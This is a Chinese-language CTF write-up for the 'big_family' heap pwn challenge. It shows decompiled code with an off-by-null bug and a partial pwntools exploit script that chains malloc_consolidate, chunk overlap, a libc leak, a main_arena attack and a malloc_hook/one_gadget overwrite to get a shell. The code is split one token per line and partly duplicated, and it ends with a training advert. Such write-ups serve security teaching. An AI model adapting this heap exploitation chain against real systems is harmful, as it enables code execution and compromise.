-
-
[原创]CTFShow family(PWN) writeup
-
发表于: 2021-4-16 14:36 11194
-
使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存
在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配
main_arena attack
当我们申请不到free_hook,malloc_hook上方的位置时,我们可以将堆块申请到main_arena,然后覆盖top chunk为hook函数上方的位置,完成利用
本次使用的例题是ctfshow大吉大利杯的一道堆题,big_family
正常检查保护后发现保护全开,在 read_n
函数里面发现一个 Off by null
我们看 Add 函数
在 Add 函数中我们发现我们可以申请的size 最大只有 0x47大小,也就是最大0x50大小的堆块
Show 函数以及 Delete函数没太大问题
由于我们可以申请的堆块大小被限制到了只能被free到fastbin里,而我们又要泄漏libc基地址,因此我们只能通过scanf会调用malloc分配内存的办法来使堆块合并
首先我们可以申请出6个堆块,我们要通过第一个堆块来利用 Off by null
修改合并后的smallbin的size,以及第6个堆块来防止前面堆块与 top_chunk发生合并,而由于是 Off by null
我们要让 chunk1-5 的size 相加等于 0x110,然后覆盖为 0x100来构造堆块重叠
现在的堆结构是这样的:
构造samllbin并且修改smallbin的size为0x100
将smallbin分割成5个大小相加为0x100大小的块, 此时堆块情况
然后通过向scanf输入0x400个1来触发malloc_consolidate,使其刚好留出0x10大小的空间便于我们利用
之后我们删除1,2号块,用于我们接下来利用off by null 对二号块的size位进行覆盖的操作
删除1,2号块后,我们需要利用malloc_consolidate,把删除的1,2,号块,合并进入smallbin, 之后删除6号块,在触发一次malloc_consoildate,使其向前合并
向前合并之后,我们可以发现我们得到了一个包含没有被free过的一个0x130的空闲堆块,也就是说我们可以通过这个堆块来制造堆块重叠了
我们将1,2,6号堆块申请回来,同时设置好size,就可以覆盖3号堆块,或者其他堆块的内容为main_arena+88,然后通过show函数就可以泄漏libc了
泄漏出libc之后,我们发现,我们申请申请不到free_hook上面的位置,我们只能使用main_arean attack来进行利用
申请出两个重叠堆块,并利用main_arena的机制使,main_arena中出现一个size
然后我们将堆块申请到main_arena上,由于size大小不够,我们一次申请覆盖不到top_chunk的位置,因此我们可以分两次,先在后面的位置在写上一个size,然后就可以申请到了
覆盖top_chunk,getshell
由于onegadget的条件限制,我们可以利用realloc来调节栈帧,其原理是,realloc前面有很多push指令,可以用来调偏移,使其可以满足onegadget (rbp+0x30==null) 的条件,因此我们将malloc_hook设置为realloc+13的地方,将realloc_hook设置为onegadget就可以getshell
getshell
void __cdecl read_n(char
*
buf, size_t
len
)
{
char ch_0;
/
/
[rsp
+
13h
] [rbp
-
Dh]
int
i;
/
/
[rsp
+
14h
] [rbp
-
Ch]
unsigned __int64 v4;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
for
( i
=
0
; i <
len
;
+
+
i )
{
ch_0
=
0
;
if
( read(
0
, &ch_0,
1uLL
) <
0
)
{
puts(
"Read error!!\n"
);
exit(
1
);
}
buf[i]
=
ch_0;
if
( ch_0
=
=
10
)
break
;
}
buf[i]
=
0
;
/
/
固定向后面添加一个
'\x00'
字符
}
void __cdecl read_n(char
*
buf, size_t
len
)
{
char ch_0;
/
/
[rsp
+
13h
] [rbp
-
Dh]
int
i;
/
/
[rsp
+
14h
] [rbp
-
Ch]
unsigned __int64 v4;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
for
( i
=
0
; i <
len
;
+
+
i )
{
ch_0
=
0
;
if
( read(
0
, &ch_0,
1uLL
) <
0
)
{
puts(
"Read error!!\n"
);
exit(
1
);
}
buf[i]
=
ch_0;
if
( ch_0
=
=
10
)
break
;
}
buf[i]
=
0
;
/
/
固定向后面添加一个
'\x00'
字符
}
void __cdecl buildhouse()
{
int
size;
/
/
[rsp
+
8h
] [rbp
-
18h
]
int
i;
/
/
[rsp
+
Ch] [rbp
-
14h
]
char
*
buf;
/
/
[rsp
+
10h
] [rbp
-
10h
]
unsigned __int64 v3;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v3
=
__readfsqword(
0x28u
);
buf
=
0LL
;
for
( i
=
0
; ;
+
+
i )
{
if
( i >
15
)
{
puts(
"You can't build a house anymore!"
);
return
;
}
if
( !house[i] )
break
;
}
puts(
"How big a house do you want to build?"
);
if
( (unsigned
int
)_isoc99_scanf(
"%u"
, &size)
=
=
-
1
)
exit(
-
1
);
if
( size <
=
0
|| size >
0x47
)
/
/
fastbin
{
puts(
"Your house is not the right size"
);
exit(
-
1
);
}
buf
=
(char
*
)malloc(size);
if
( !buf )
{
puts(
"Something wrong in building !!"
);
exit(
-
1
);
}
house[i]
=
buf;
puts(
"How do you want to decorate your house?"
);
read_n(house[i], size);
puts(
"Done,your house is completed!"
);
}
void __cdecl buildhouse()
{
int
size;
/
/
[rsp
+
8h
] [rbp
-
18h
]
int
i;
/
/
[rsp
+
Ch] [rbp
-
14h
]
char
*
buf;
/
/
[rsp
+
10h
] [rbp
-
10h
]
unsigned __int64 v3;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v3
=
__readfsqword(
0x28u
);
buf
=
0LL
;
for
( i
=
0
; ;
+
+
i )
{
if
( i >
15
)
{
puts(
"You can't build a house anymore!"
);
return
;
}
if
( !house[i] )
break
;
}
puts(
"How big a house do you want to build?"
);
if
( (unsigned
int
)_isoc99_scanf(
"%u"
, &size)
=
=
-
1
)
exit(
-
1
);
if
( size <
=
0
|| size >
0x47
)
/
/
fastbin
{
puts(
"Your house is not the right size"
);
exit(
-
1
);
}
buf
=
(char
*
)malloc(size);
if
( !buf )
{
puts(
"Something wrong in building !!"
);
exit(
-
1
);
}
house[i]
=
buf;
puts(
"How do you want to decorate your house?"
);
read_n(house[i], size);
puts(
"Done,your house is completed!"
);
}
Add(
0x18
,
'start'
)
#0
Add(
0x18
,
'f'
)
#1
Add(
0x38
,
'f'
)
#2
Add(
0x28
,
'f'
)
#3
Add(
0x38
,
'f'
)
#4
Add(
0x38
,
'a'
*
0x20
+
p64(
0x100
)
+
p64(
0x10
))
#5
Add(
0x10
,
'f'
)
#6
Add(
0x18
,
'start'
)
#0
Add(
0x18
,
'f'
)
#1
Add(
0x38
,
'f'
)
#2
Add(
0x28
,
'f'
)
#3
Add(
0x38
,
'f'
)
#4
Add(
0x38
,
'a'
*
0x20
+
p64(
0x100
)
+
p64(
0x10
))
#5
Add(
0x10
,
'f'
)
#6
for
i
in
range
(
1
,
6
):
Delete(i)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
Delete(
0
)
Add(
0x18
,
'a'
*
0x18
)
#0
for
i
in
range
(
1
,
6
):
Delete(i)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
Delete(
0
)
Add(
0x18
,
'a'
*
0x18
)
#0
Add(
0x18
,
'a'
)
#1
Add(
0x28
,
'f'
)
#2
Add(
0x38
,
'b'
)
#3
Add(
0x38
,
'c'
)
#4
Add(
0x38
,
'd'
)
#5
Add(
0x18
,
'a'
)
#1
Add(
0x28
,
'f'
)
#2
Add(
0x38
,
'b'
)
#3
Add(
0x38
,
'c'
)
#4
Add(
0x38
,
'd'
)
#5
Delete(
1
)
Delete(
2
)
Delete(
1
)
Delete(
2
)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
Delete(
6
)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
Delete(
6
)
sh.sendlineafter(
'Choice:'
,
"1"
*
0x400
)
Add(
0x38
,
'a'
)
#1
Add(
0x18
,
'b'
)
#2
Add(
0x28
,
'c'
)
#6
Add(
0x38
,
'a'
)
#1
Add(
0x18
,
'b'
)
#2
Add(
0x28
,
'c'
)
#6
main_arena
=
u64(sh.recvuntil(
'\x7f'
).ljust(
8
,
'\x00'
))
-
88
libc_base
=
main_arena
-
0x3c4b20
free_hook
=
libc_base
+
libc.symbols[
'__free_hook'
]
malloc_hook
=
libc_base
+
libc.symbols[
'__malloc_hook'
]
realloc
=
libc_base
+
libc.symbols[
'__libc_realloc'
]
one_gadget
=
libc_base
+
0x4526a
main_arena
=
u64(sh.recvuntil(
'\x7f'
).ljust(
8
,
'\x00'
))
-
88
libc_base
=
main_arena
-
0x3c4b20
free_hook
=
libc_base
+
libc.symbols[
'__free_hook'
]
malloc_hook
=
libc_base
+
libc.symbols[
'__malloc_hook'
]
realloc
=
libc_base
+
libc.symbols[
'__libc_realloc'
]
one_gadget
=
libc_base
+
0x4526a
Add(
0x28
,
'a'
)
#7-->3
Add(
0x38
,
'b'
)
#8-->4
Add(
0x38
,
'c'
)
#9
Add(
0x28
,
'd'
)
#10
Add(
0x47
,p64(
0x41
))
#11
Add(
0x47
,p64(
0x41
))
#12
Delete(
11
)
Delete(
12
)
Add(
0x47
,p64(
0x41
))
Delete(
3
)
Delete(
10
)
Delete(
7
)
Add(
0x28
,p64(
0x41
)
*
2
)
Add(
0x28
,
'f0und'
)
Add(
0x28
,p64(
0x41
)
*
2
)
Add(
0x28
,
'a'
)
#7-->3
Add(
0x38
,
'b'
)
#8-->4
Add(
0x38
,
'c'
)
#9
Add(
0x28
,
'd'
)
#10
Add(
0x47
,p64(
0x41
))
#11
Add(
0x47
,p64(
0x41
))
#12
Delete(
11
)
Delete(
12
)
Add(
0x47
,p64(
0x41
))
Delete(
3
)
Delete(
10
)
Delete(
7
)
Add(
0x28
,p64(
0x41
)
*
2
)
Add(
0x28
,
'f0und'
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)